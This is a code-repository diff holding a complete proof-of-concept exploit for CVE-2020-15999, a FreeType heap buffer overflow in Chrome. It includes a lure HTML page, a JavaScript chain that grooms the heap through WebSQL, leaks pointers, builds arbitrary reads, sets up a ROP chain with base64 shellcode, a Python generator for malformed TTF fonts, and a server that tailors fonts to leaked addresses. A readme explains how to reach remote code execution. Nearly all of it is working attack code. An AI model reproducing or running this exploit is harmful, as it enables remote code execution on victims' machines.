🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    CVE-2020-15999/crack.html
     1 +<!DOCTYPE html>
     2 +<html>
     3 +<head>
     4 +<style>
     5 +#target {
     6 + transform: rotateY(30deg) rotateX(-30deg);
     7 +}
     8 +</style>
     9 +<script type="application/javascript" src="pwn.js"></script>
     10 +</head>
     11 +<body>
     12 + 
     13 +<div id="font-hold" hidden></div>
     14 +<div id="font-target" />
     15 +<h1>The @font-face Rule</h1>
     16 + 
     17 +<div>
     18 +With CSS, websites can use fonts other than the pre-selected "web-safe" fonts.
     19 +</div>
     20 + <button onclick="pwn()">Click me</button>
     21 +<p id="target">AC</p>
     22 + 
     23 +</body>
     24 +</html>
     25 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2020-15999/genttf.py
     1 +import png
     2 +import StringIO
     3 +import binascii
     4 +import struct
     5 +import zlib
     6 + 
     7 +def mod(h, w, i, ov):
     8 + CRC_SZ = 4
     9 + idx = ov.index('IHDR') + len('IHDR')
     10 + hdr = struct.pack('>i', w) + struct.pack('>i', h) + ov[idx + 8:idx + 8 + 4] + chr(int(i))
     11 + crc = binascii.crc32('IHDR' + hdr)
     12 + if crc < 0:
     13 + crc += 0x100000000
     14 + return ov[:idx] + hdr + struct.pack('>I', crc) + ov[idx+len(hdr)+CRC_SZ:]
     15 + 
     16 +def s_mod(ov, off):
     17 + l = ov.index('IDAT')
     18 + sz = struct.unpack('>I', ov[l-4:l])[0]
     19 + rd = ov[l+len('IDAT'):l+len('IDAT')+sz]
     20 + d = zlib.decompress(rd)
     21 + nd = 'IDAT' + zlib.compress(d[:off], 0)
     22 + crc = binascii.crc32(nd)
     23 + if crc < 0:
     24 + crc += 0x100000000
     25 + return ov[:l-4] + struct.pack('>I', len(nd)) + nd + struct.pack('>I', crc) + ov[l+4+sz+4:]
     26 + 
     27 +def genall(var, special=False):
     28 + t = var[0]
     29 + var[0] = var[2]
     30 + var[2] = t
     31 + im = []
     32 + # f = open('gen.png', 'wb')
     33 + xx = 2561
     34 + yy = 2560
     35 + bb = 1
     36 + ovr = [var]
     37 + if special:
     38 + xx = 1667
     39 + bb = 3
     40 + yy = 1664
     41 + ovr = [[0x60, 0, 0, 0xff], [0xff, 0xff, 0xff, 0xff], var]
     42 + p = png.Writer(1, xx, greyscale=False, compression=0, bitdepth=8, alpha=True, interlace=False)
     43 + d = [[0xff, 0xff, 0xff, 0x78] for i in range(xx - bb)]
     44 + for ov in ovr:
     45 + d.append(ov)
     46 + o = StringIO.StringIO()
     47 + p.write(o, d)
     48 + ov = mod(0x10000+yy, 1, False, o.getvalue())
     49 + #
     50 + # ov = o.getvalue()
     51 + # ov = s_mod(ov, 0x16c0+8)
     52 + im.append(ov)
     53 + im.append(ov)
     54 + 
     55 + tmp = ov
     56 + 
     57 + # open('lmao.png', 'wb+').write(ov)
     58 + 
     59 + 
     60 + p = png.Writer(0x100, 7, greyscale=False, compression=0, bitdepth=8, alpha=True, interlace=False)
     61 + d = [[0x0, 0x0, 0x0, 0x0]*0x100 for i in range(7)]
     62 + o = StringIO.StringIO()
     63 + p.write(o, d)
     64 + ov = o.getvalue()
     65 + im.append(ov)
     66 + # im.append(ov)
     67 + # im.append(ov)
     68 + # im.append(ov)
     69 + 
     70 + # im.append(tmp)
     71 + rinfo = [(0x41,0x42,1),(0x43,0x44,2)]#,(0x45,0x46,3),(0x47,0x48,4)]
     72 + 
     73 + t = open('template.ttf', 'rb')
     74 + td = t.read()
     75 + 
     76 + gh = struct.pack('>h', 0) + struct.pack('>h', 0) + 'png '
     77 + im = [gh + ov for ov in im]
     78 + 
     79 + tl = sum(len(ov) for ov in im)
     80 + b = 0x10 + (len(im) - 1) * 4
     81 + print b
     82 + of = struct.pack('>i', b)
     83 + for ov in im:
     84 + b += len(ov)
     85 + of += struct.pack('>i', b)
     86 + 
     87 + ls = of[-4:]
     88 + of += ls
     89 + 
     90 + 
     91 + # td = td.replace('\x03\x20\x00\x5a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02', '\x03\x20\x00\x5a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' + struct.pack('>h', len(im) + 1))
     92 + # td = td.replace('\x00\x00\x00\x10\x00\x00\x00\xc8\x00\x00\x00\xd0', of)
     93 + td = td[:0x1c0] + struct.pack('>h', len(im) + 1) + td[0x1c2:]
     94 + td = td[:0x21c] + of
     95 + od = td + ''.join(im)
     96 + tl = len(od) - 0x20c
     97 + # td = td.replace('\x00\x00\x02\x0c\x00\x00\x01\x9d', struct.pack('>i', 0x20c) + struct.pack('>i', tl))
     98 + rl = len(im) + 1
     99 + if ((len(im) + 1)*2)%4 == 0:
     100 + rl = len(im) + 2
     101 + td = td[:0x206] + '\x00\x00' * rl + td[0x20c:]
     102 + td = td[:0xb4] + struct.pack('>i', 0x206 + (rl * 2)) + td[0xb8:]
     103 + td = td[:0xa8] + struct.pack('>i', 0x22 + (len(im) + 1) * 2) + td[0xa8+4:]
     104 + td = td[:0xb8] + struct.pack('>i', tl) + td[0xb8+4:]
     105 + td = td[:0x1a4] + struct.pack('>i', len(im) + 1) + td[0x1a8:]
     106 + td = td[:0x204] + struct.pack('>h', len(im) + 1) + td[0x206:]
     107 + td = td[:0x68] + struct.pack('>i', (len(im) + 1) * 4) + td[0x6c:]
     108 + tfl = len(td + ''.join(im))
     109 + pd = 4-(tfl%4) if tfl%4 else 0
     110 + td = td[:0x64] + struct.pack('>i', tfl+pd) + td[0x68:]
     111 + ap = pd * '\x00' + '\x03\x20\x00\x5a' * (len(im) + 1)
     112 + tfl = len(td + ''.join(im) + ap)
     113 + td = td[:0x74] + struct.pack('>i', tfl) + struct.pack('>i', (len(im) + 2) * 2) + td[0x7c:]
     114 + ap += '\x00' * ((len(im) + 2) * 2)
     115 + tfl = len(td + ''.join(im) + ap)
     116 + if tfl%4:
     117 + ap += '\x00' * 2
     118 + 
     119 + cmaph = struct.pack('>H', 0) + struct.pack('>H', 1)
     120 + cmaph += struct.pack('>H', 3) + struct.pack('>H', 10) + struct.pack('>I', 12)
     121 + cmap = struct.pack('>H', 13) + struct.pack('>H', 0) + struct.pack('>I', 0x1337) + struct.pack('>I', 0) + struct.pack('>I', len(rinfo))
     122 + for r in rinfo:
     123 + b,e,idx = r
     124 + cmap += struct.pack('>I', b) + struct.pack('>I', e) + struct.pack('>I', idx)
     125 + # cmap += struct.pack('>I', 0x61) + struct.pack('>I', 0x61+26) + struct.pack('>I', 2)
     126 + 
     127 + cmapl = len(cmap)
     128 + cmap = cmap[:4] + struct.pack('>I', cmapl) + cmap[8:]
     129 + cmaptl = len(cmaph + cmap)
     130 + tfl = len(td + ''.join(im) + ap)
     131 + td = td[:0x24] + struct.pack('>I', tfl) + struct.pack('>I', cmaptl) + td[0x2c:]
     132 + ap += cmaph + cmap
     133 + 
     134 + 
     135 + od = td + ''.join(im) + ap
     136 + return od
  • CVE-2020-15999/new.ttf
    Binary file.
  • ■ ■ ■ ■ ■ ■
    CVE-2020-15999/pwn.js
     1 +var db_name = Math.random().toString(36).substring(7);
     2 +var db = openDatabase(db_name, '1.0', 'pwnage', 2 * 1024 * 1024);
     3 +var spray_cnt = 0x100;
     4 +var chunk_sz = 0x1400 - 0x10 - 0x30;
     5 +var tbl_prefix = "p".repeat(0x30);
     6 +var leak = '';
     7 + 
     8 +function run_all(statements, stmt_func, tx_func, err_cb) {
     9 + db.transaction((tx) => {
     10 + for(let i = 0; i < statements.length; i++){
     11 + tx.executeSql(statements[i], [], stmt_func, err_cb);
     12 + // console.log(statements[i]);
     13 + }
     14 + }, (a,b)=>{}, tx_func);
     15 +}
     16 + 
     17 +function run_one(statement, stmt_func, err_cb) {
     18 + db.transaction((tx) => {
     19 + tx.executeSql(statement, [], stmt_func, err_cb);
     20 + }, (a,b)=>{}, (a,b)=>{});
     21 +}
     22 + 
     23 +function pwn() {
     24 + var statements = [];
     25 + var col_name = 'A'.repeat(chunk_sz);
     26 + var col_list = [];
     27 + for (let i = 0; i < 2; i++) {
     28 + statements.push(`CREATE TABLE tbl${tbl_prefix}${i}(${col_name})`);
     29 + }
     30 + var col_list = [];
     31 + for (let i = 0; i < 7; i++) { col_list.push('A'.repeat(chunk_sz - 5) + i.toString(16).padStart(5, '0')); }
     32 + statements.push(`CREATE TABLE tbl${tbl_prefix}1337(${col_list.join(', ')})`);
     33 + var col_list = [];
     34 + for (let i = 0; i < 3; i++) { col_list.push('A'.repeat(chunk_sz - 5) + i.toString(16).padStart(5, '0')); }
     35 + statements.push(`CREATE TABLE tbl${tbl_prefix}pog(${col_list.join(', ')})`);
     36 + run_all(statements, (x,y)=>{}, part2, (a,b)=>{});
     37 +}
     38 +function part2() {
     39 + alert('part2 start');
     40 + var statements = [];
     41 + var col_name = 'A'.repeat(chunk_sz);
     42 + statements.push(`DROP TABLE tbl${tbl_prefix}1337`);
     43 + statements.push(`DROP TABLE tbl${tbl_prefix}pog`);
     44 + var col_list = [];
     45 + // for (let i = 0; i < 4; i++) { col_list.push('A'.repeat(chunk_sz - 5) + i.toString(16).padStart(5, '0')); }
     46 + // statements.push(`CREATE TABLE tbl${tbl_prefix}dope(${col_list.join(', ')})`);
     47 + run_all(statements, (x,y)=>{}, part3, (a,b)=>{});
     48 +}
     49 +function part3() {
     50 + alert('part 3 start');
     51 + var font = new FontFace('aaa', 'url(new.ttf)');
     52 + font.load().then(function(loaded) {
     53 + document.fonts.add(loaded);
     54 + document.getElementById('target').style.fontFamily = 'aaa';
     55 + setTimeout(part4, 1000);
     56 + });
     57 +}
     58 +function part4() {
     59 + alert('part 4 start');
     60 + var statements = [];
     61 + var col_name = 'A'.repeat(chunk_sz);
     62 + 
     63 + statements.push(`CREATE TABLE tbl${tbl_prefix}bruh(${col_name})`);
     64 + statements.push(`DROP TABLE tbl${tbl_prefix}bruh`);
     65 + statements.push(`DROP TABLE tbl${tbl_prefix}0`);
     66 + 
     67 + run_all(statements, (x,y)=>{}, (x,y)=>{}, (x,y)=>{});
     68 + statements = [];
     69 + statements.push(`SELECT * FROM tbl${tbl_prefix}1`);
     70 + run_all(statements, (x,y)=>{}, part5p, geterr);
     71 +}
     72 +function calcmult(ptr) {
     73 + if (ptr < 0x100000000) return [];
     74 + bottom = Number(ptr & 0xffffffffn);
     75 + limit = bottom >>> (8 * 3);
     76 + var res = [];
     77 + for (let i = 0; i < 3; i++) {
     78 + byte = bottom & 0xff;
     79 + if (byte > limit) return [];
     80 + else {
     81 + // too lazy to understand math
     82 + var ok = -1;
     83 + var cands = [Math.floor(byte/limit*0xff), Math.ceil(byte/limit*0xff)];
     84 + for (var cand of cands) {
     85 + var tmp = limit * cand + 0x80;
     86 + var tmpres = (tmp+(tmp>>>8))>>>8;
     87 + if (tmpres == byte) {
     88 + ok = cand;
     89 + break;
     90 + }
     91 + }
     92 + if (ok == -1) return [];
     93 + res.push(ok.toString(16).padStart(2,"0"));
     94 + }
     95 + bottom >>>= 8;
     96 + }
     97 + res.push(limit.toString(16).padStart(2,"0"));
     98 + return res;
     99 +}
     100 +var prepremult = [];
     101 +function part5p() {
     102 + var res = parseleak();
     103 + prepremult = calcmult(res[1] + 0x10n);
     104 + if (prepremult.length != 4) return;
     105 + alert(`part 5 preload start: 0x${res[1].toString(16)}`);
     106 + var font = new FontFace('aac', `url(leak.ttf?a=${prepremult.join('')})`);
     107 + font.load().then(function(loaded) {
     108 + document.fonts.add(loaded);
     109 + part5(res);
     110 + });
     111 +}
     112 +function part5(res) {
     113 + var statements = [];
     114 + var col_name = 'A'.repeat(0x1a00 - 0x40);
     115 + var col_name_o = 'A'.repeat(chunk_sz);
     116 + 
     117 + statements.push(`CREATE TABLE tbl${tbl_prefix}0(${col_name_o})`);
     118 + statements.push(`CREATE TABLE tbl${tbl_prefix}bruh(${col_name_o})`);
     119 + 
     120 + for (let i = 0; i < 1; i++) {
     121 + statements.push(`CREATE TABLE tbl${tbl_prefix}aight${i}(${col_name})`);
     122 + }
     123 + 
     124 + var col_list = [];
     125 + // statements.push(`CREATE TABLE tbl${tbl_prefix}push(${col_name})`);
     126 + col_list.push('zzzz07 DEFAULT \'A\''); // important;
     127 + for (let i = 1; i < 0x1520/0x20; i++) { col_list.push('x' + i.toString(16).padStart(5, '0') + ' DEFAULT \'A\''); }
     128 + statements.push(`CREATE TABLE tbl${tbl_prefix}champ(${col_list.join(', ')})`);
     129 + 
     130 + // statements.push(`CREATE TABLE tbl${tbl_prefix}usethis(${'B'.repeat(chunk_sz)})`);
     131 + 
     132 + statements.push(`CREATE TABLE tbl${tbl_prefix}forpng(${col_name})`);
     133 + statements.push(`DROP TABLE tbl${tbl_prefix}forpng`);
     134 + 
     135 + for (let i = 0; i < 6; i++) { col_list.push('A'.repeat(0x7ff0 - 5) + i.toString(16).padStart(5, '0')); }
     136 + statements.push(`CREATE TABLE tbl${tbl_prefix}huge(${col_list.join(', ')})`);
     137 + statements.push(`DROP TABLE tbl${tbl_prefix}huge`);
     138 + 
     139 + statements.push(`SELECT * FROM sqlite_master`); // end sentinel
     140 + 
     141 + statements.push(`DROP TABLE tbl${tbl_prefix}bruh`);
     142 + 
     143 + statements.push(`CREATE TABLE forblob(content BLOB)`);
     144 + 
     145 + statements.push(fakestruct1(res[1] + 0x10n));
     146 + 
     147 + run_all(statements, (x,y)=>{setarbread(statements)}, (x,y)=>{part6p(res)}, (x,y)=>{});
     148 +}
     149 +var arbreadres = [];
     150 +function arbread_u(ptr) {
     151 + var ctelist = [];
     152 + for (let i = 0; i < 0x1520/0x20; i++) { ctelist.push(`c${i}`); }
     153 + var prom = new Promise((resolve)=>{run_all([fakestruct1(ptr), `INSERT INTO tbl${tbl_prefix}champ DEFAULT VALUES`], (x,y)=>{}, (x,y)=>{
     154 + run_all([`WITH v(${ctelist.join(', ')}) AS (SELECT * FROM tbl${tbl_prefix}champ) SELECT HEX(c0) FROM v`], (x,r)=>{
     155 + resolve(Object.values(r.rows.item(r.rows.length - 1))[0]);
     156 + }, (x,y)=>{}, (x,y)=>{});
     157 + }, (x,y)=>{})});
     158 + return prom;
     159 +}
     160 +async function arbread(ptr) {
     161 + var res = '';
     162 + var out = '';
     163 + while (res == '') {
     164 + res = await arbread_u(ptr);
     165 + if (res == '') out += '00';
     166 + ptr += 1n;
     167 + }
     168 + return out+res;
     169 +}
     170 +function fakestruct1(base) {
     171 + var content = i2b(0n) + i2b(0n); // base
     172 + content += i2b(0x69n) + i2b(base);// + i2b(base) + '\x00'.repeat(0x68) + i2b(0x1337n);
     173 + content = content.padEnd(0x13c0, '\x00');
     174 + var blob = content.split("").map(x=>x.charCodeAt(0).toString(16).padStart(2,"0")).join("");
     175 + return `INSERT INTO forblob(content) VALUES(X'${blob}')`
     176 +}
     177 +var stmt_idx_0 = 0;
     178 +function setarbread(arr) {
     179 + if (arr[stmt_idx_0] == `SELECT * FROM sqlite_master`) {
     180 + document.getElementById('target').style.fontFamily = 'aac';
     181 + }
     182 + stmt_idx_0 += 1;
     183 +}
     184 +function part6p(res) {
     185 + var font = new FontFace('aab', `url(part2.ttf?a=${prepremult.join('')})`);
     186 + font.load().then(function(loaded) {
     187 + document.fonts.add(loaded);
     188 + part6(res);
     189 + });
     190 +}
     191 +function part6(res) {
     192 + var statements = [];
     193 + 
     194 + var col_name_o = 'A'.repeat(chunk_sz);
     195 + 
     196 + statements.push(`CREATE TABLE tbl${tbl_prefix}bruh(${col_name_o})`);
     197 + 
     198 + var col_list = [];
     199 + col_list.push('b'.repeat(0x1200 - 0x40));
     200 + for (let i = 1; i < 0x13e0/0x20; i++) { col_list.push('x' + i.toString(16).padStart(5, '0')); }
     201 + statements.push(`CREATE TABLE tbl${tbl_prefix}read(${col_list.join(', ')})`);
     202 + 
     203 + statements.push(`DROP TABLE tbl${tbl_prefix}bruh`);
     204 + 
     205 + run_all(statements, (x,y)=>{}, (x,y)=>{part7p(res)}, (x,y)=>{});
     206 +}
     207 +function ia2i(ia) {
     208 + var ii = 0n;
     209 + var off = 1n;
     210 + for (let i = 0; i < 8; i++) {
     211 + if (i >= ia.length) { val = 0n; }
     212 + else {val = BigInt(ia[i]);}
     213 + ii |= val * off;
     214 + off <<= 8n;
     215 + }
     216 + return ii;
     217 +}
     218 +function unhex(s) {
     219 + var ia = [];
     220 + for (let i = 0; i <= s.length - 2; i+=2) {
     221 + ia.push(parseInt(s.substring(i, i+2), 16));
     222 + }
     223 + return ia;
     224 +}
     225 +function part7p(res) {
     226 + arbread(res[1] - 0x2800n + 1n).then((val) => {
     227 + console.log(val);
     228 + part8(res, ia2i(unhex(val)) << 8n );
     229 + })
     230 +}
     231 +function part8(res, ptr1200) {
     232 + console.log(`VTable array: 0x${ptr1200.toString(16)}`)
     233 + var statements = [];
     234 + var col_name_o = 'A'.repeat(chunk_sz);
     235 + var col_name_oo = 'A'.repeat(0x1200 - 0x40);
     236 + 
     237 + statements.push(`CREATE TABLE tbl${tbl_prefix}bruh(${col_name_o})`);
     238 + 
     239 + var n = (0xff8-8) / 0x8;
     240 + for (let i = 0; i < n; i++) {
     241 + statements.push(`CREATE VIRTUAL TABLE tbl${tbl_prefix}leakvirt${i} USING fts3()`);
     242 + }
     243 + 
     244 + statements.push(`DROP TABLE tbl${tbl_prefix}read`);
     245 + statements.push(`INSERT INTO forblob(content) VALUES (X\'${'00'.repeat(0x11c0)}\')`);
     246 + 
     247 + 
     248 + statements.push(`CREATE VIRTUAL TABLE tbl${tbl_prefix}leakvirtfinal USING fts3()`);
     249 + 
     250 + statements.push(`DROP TABLE tbl${tbl_prefix}bruh`);
     251 + 
     252 + run_all(statements, (x,y)=>{}, (x,y)=>{part9(res, ptr1200)}, (x,y)=>{});
     253 +}
     254 +function part9(res, ptr1200) {
     255 + var FTS3_OFFSET = 0xa694918n;
     256 + var GETADDRINFO_OFFSET = 0xaaa8948n;
     257 + var GETADDRINFO_LIBC_OFFSET = 0x107cc0n;
     258 + 
     259 + console.log(ptr1200+8n);
     260 + arbread(ptr1200 + 8n).then((val) => {
     261 + alert(val);
     262 + arbread(res[0] ^ ia2i(unhex(val)) + 0x10n).then((val1) => {
     263 + alert(val1);
     264 + arbread(ia2i(unhex(val1)) + 0x8n).then((val2) => {
     265 + console.log(val2);
     266 + arbread(ia2i(unhex(val2))).then((val3) => {
     267 + var binleak = ia2i(unhex(val3));
     268 + console.log(`Binary leak: 0x${binleak.toString(16)}`);
     269 + var binbase = binleak - FTS3_OFFSET;
     270 + var gotloc = binbase + GETADDRINFO_OFFSET;
     271 + arbread(gotloc).then((val4) => {
     272 + var libcleak = ia2i(unhex(val4));
     273 + var libcbase = libcleak - GETADDRINFO_LIBC_OFFSET;
     274 + partx(res, libcbase, binbase);
     275 + })
     276 + })
     277 + })
     278 + })
     279 + })
     280 +}
     281 +function partx(res, libcbase, binbase) {
     282 + var statements = [];
     283 + var col_name = 'A'.repeat(0x2800 - 0x40);
     284 + var col_name_o = 'A'.repeat(chunk_sz);
     285 + 
     286 + // statements.push(`CREATE TABLE tbl${tbl_prefix}0(${col_name_o})`);
     287 + // statements.push(`CREATE TABLE tbl${tbl_prefix}bruh(${col_name_o})`);
     288 + statements.push(fakestruct2(res[1] + 0x10n, libcbase, binbase));
     289 + 
     290 + var n = (0x2000-0x20) / 0x8;
     291 + for (let i = 0; i < n; i++) {
     292 + statements.push(`CREATE VIRTUAL TABLE tbl${tbl_prefix}virt${i} USING fts3()`);
     293 + }
     294 + 
     295 + for (let i = 0; i < 6; i++) {
     296 + statements.push(`CREATE TABLE tbl${tbl_prefix}nsize${i}(${col_name})`);
     297 + }
     298 + 
     299 + statements.push(`DROP TABLE tbl${tbl_prefix}nsize3`);
     300 + 
     301 + var col_list = [];
     302 + 
     303 + for (let i = 0; i < 6; i++) { col_list.push('A'.repeat(0x7ff0 - 5) + i.toString(16).padStart(5, '0')); }
     304 + statements.push(`CREATE TABLE tbl${tbl_prefix}huge(${col_list.join(', ')})`);
     305 + statements.push(`DROP TABLE tbl${tbl_prefix}huge`);
     306 + 
     307 + statements.push(`DROP TABLE tbl${tbl_prefix}nsize2`);
     308 + 
     309 + statements.push(`CREATE VIRTUAL TABLE tbl${tbl_prefix}virtfinal USING fts3()`);
     310 + 
     311 + // statements.push(`DROP TABLE tbl${tbl_prefix}bruh`);
     312 +
     313 + statements.push(`SELECT * FROM sqlite_master`); // end sentinel
     314 + 
     315 + statements.push(`CREATE TABLE lol(ok BLOB)`);
     316 + 
     317 + 
     318 + run_all(statements, (x,y)=>{overwriteptr(statements)}, (x,y)=>{}, (x,y)=>{console.log(y.message)});
     319 +}
     320 +function fakestruct2(base, libcbase, binbase) {
     321 + // var content = i2b(0n) + i2b(0n); // base
     322 + // content += i2b(base + 0x8n) + i2b(0n) + i2b(base) + '\x00'.repeat(0x70) + i2b(jmp);
     323 + // content = content.padEnd(0x13c0, '\x01');
     324 + var SETCONTEXT_OFFSET = 0x52110n + 53n; // 53 to offset directly to mov rsp, [rdi+0xa0]
     325 + var MPROTECT_OFFSET = 0xa428c60n;
     326 + var JMP_RSP = 0x2edee0dn;
     327 + 
     328 + var c_arr = Array(0x218 / 8).fill(0n);
     329 + c_arr[2] = base + 0x100n - 0x80n;
     330 + c_arr[4] = base;
     331 + c_arr[2 + 0x100/8] = libcbase + SETCONTEXT_OFFSET;
     332 + c_arr[2 + 0xa8/8] = binbase + MPROTECT_OFFSET;
     333 + c_arr[2 + 0xa0/8] = base + 0x200n;
     334 + c_arr[2 + 0x68/8] = (base>>12n)<<12n;
     335 + c_arr[2 + 0x70/8] = 0x4000n;
     336 + c_arr[2 + 0x88/8] = 7n;
     337 + c_arr[2 + 0x200/8] = binbase + JMP_RSP;
     338 + 
     339 + var shellcode_b = 'SDHbaDsxAQGBNCQBAQEBSLhESVNQTEFZPVBIieJTUkiJ4ki4AQEBAQEBAQFQSLgueWJgbWIBAUgxBCRIuC91c3IvYmluUEiJ51NXSInmSMfAOwAAAA8F';
     340 + var shellcode = atob(shellcode_b);
     341 + var content = c_arr.map(x=>i2b(x)).join("") + shellcode;
     342 + content = content.padEnd(0x13c0, '\x01');
     343 + 
     344 + var blob = content.split("").map(x=>x.charCodeAt(0).toString(16).padStart(2,"0")).join("");
     345 + alert(blob.substring(0, 32+2*3));
     346 + return `INSERT INTO forblob(content) VALUES(X'${blob}')`
     347 +}
     348 +var stmt_idx = 0;
     349 +function overwriteptr(arr) {
     350 + if (arr[stmt_idx] == `SELECT * FROM sqlite_master`) {
     351 + document.getElementById('target').style.fontFamily = 'aab';
     352 + }
     353 + stmt_idx += 1;
     354 +}
     355 +function b2i(bytes) {
     356 + var tmp = 0n;
     357 + for (let i = bytes.length - 1; i >= 0; i--) {
     358 + tmp <<= 8n;
     359 + tmp |= BigInt(bytes[i].charCodeAt(0));
     360 + }
     361 + return tmp;
     362 +}
     363 +function i2b(n) {
     364 + var res = [];
     365 + for (let i = 0; i < 8; i++) {
     366 + res.push(String.fromCharCode(Number(n & 0xffn)));
     367 + n >>= 8n;
     368 + }
     369 + return res.join('');
     370 +}
     371 +function geterr(tx, err) {
     372 + leak = err.message;
     373 + console.log('heyy');
     374 +}
     375 +function parseleak() {
     376 + var colname = leak.split(': ')[1];
     377 + var firstq = b2i(colname.substring(0x1400, 0x1400+8).split(''));
     378 + var secondq = b2i(colname.substring(0x1408, 0x1400+0x10).split(''));
     379 + var leakedptr = firstq ^ secondq;
     380 + console.log(`1st QWORD: 0x${firstq.toString(16)}`)
     381 + console.log(`2nd QWORD: 0x${secondq.toString(16)}`)
     382 + console.log(`The leak: 0x${leakedptr.toString(16)}`)
     383 + return [secondq, leakedptr];
     384 +}
  • ■ ■ ■ ■ ■ ■
    CVE-2020-15999/readme.md
     1 +# CVE-2020-15999: Google Chrome Heap Buffer Overflow
     2 + 
     3 +## Information
     4 + 
     5 +**Description:** Heap buffer overflow in Freetype in Google Chrome prior to 86.0.4240.111 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
     6 + 
     7 +This is just a brief intro on how you can utilise this PoC and reproduce the RCE :)
     8 + 
     9 +1. Ideally this PoC should run in a new browser tab as it relies on the fact that hopefully not much big heap allocations have been done beforehand. Then again since the majority of the pwning is happening in the isolated heap of the thread "Database Thread" used by WebSQL, maybe that won't be so much of an issue.
     10 + 
     11 +2. As this is a PoC, I have hardcoded several offsets specific to the Chrome binary which I am testing on. In an actual exploit, I would imagine the attacker would add some additional code logic to detect the chrome binary version and apply the offsets accordingly. I have also unfortunately hardcoded LIBC offsets specific to my Ubuntu's LIBC, so sorry about that.
     12 + 
     13 +3. The python server serv.py and its loaded module genttf.py form the web server used to host the exploit. The reason for this design rather than a normal web server is because my exploit script in pwn.js actually provides feedback to the python server with the info leaked, and the python server will then craft a ttf file specifically for the leaked info.
     14 + 
     15 +4. Feel free to replace the shellcode base64 encoded in the pwn.js file but bear in the mind as this is a renderer exploit you'll need an additional sandbox escape bug (such as one in Mojo bindings, which this exploit can enable) in order to gain system control; or you can just run chrome with --no-sandbox ;)
  • ■ ■ ■ ■ ■ ■
    CVE-2020-15999/run.sh
     1 +../out/Default/chrome --no-sandbox http://127.0.0.1:8080/crack.html
     2 + 
  • ■ ■ ■ ■ ■ ■
    CVE-2020-15999/serv.py
     1 +import random
     2 +import string
     3 +import os
     4 +import cherrypy
     5 +import genttf
     6 +import binascii
     7 + 
     8 + 
     9 +class PwnServer(object):
     10 + @cherrypy.expose
     11 + def index(self):
     12 + return "Hello world!"
     13 + 
     14 + @cherrypy.expose
     15 + def part2_ttf(self, **params):
     16 + if 'part2.ttf' not in cherrypy.request.path_info:
     17 + cherrypy.response.status = 404
     18 + return ''
     19 + if 'a' in cherrypy.request.params.keys():
     20 + try:
     21 + variant = [ord(b) for b in binascii.unhexlify(cherrypy.request.params['a'])]
     22 + cherrypy.response.headers['Content-Type'] = 'font/ttf'
     23 + return genttf.genall(variant)
     24 + except Exception as e:
     25 + print e
     26 + cherrypy.response.status = 404
     27 + return ''
     28 + cherrypy.response.status = 404
     29 + return ''
     30 + 
     31 + @cherrypy.expose
     32 + def leak_ttf(self, **params):
     33 + if 'leak.ttf' not in cherrypy.request.path_info:
     34 + cherrypy.response.status = 404
     35 + return ''
     36 + if 'a' in cherrypy.request.params.keys():
     37 + try:
     38 + variant = [ord(b) for b in binascii.unhexlify(cherrypy.request.params['a'])]
     39 + cherrypy.response.headers['Content-Type'] = 'font/ttf'
     40 + return genttf.genall(variant, True)
     41 + except Exception as e:
     42 + print e
     43 + cherrypy.response.status = 404
     44 + return ''
     45 + cherrypy.response.status = 404
     46 + return ''
     47 + 
     48 +config = {
     49 + '/' : {
     50 + 'tools.staticdir.on' : True,
     51 + 'tools.staticdir.dir' : os.getcwd(),
     52 + }
     53 +}
     54 + 
     55 +if __name__ == '__main__':
     56 + cherrypy.quickstart(PwnServer(), '/', config)
  • CVE-2020-15999/template.ttf
    Binary file.
Please wait...
Page is in error, reload to recover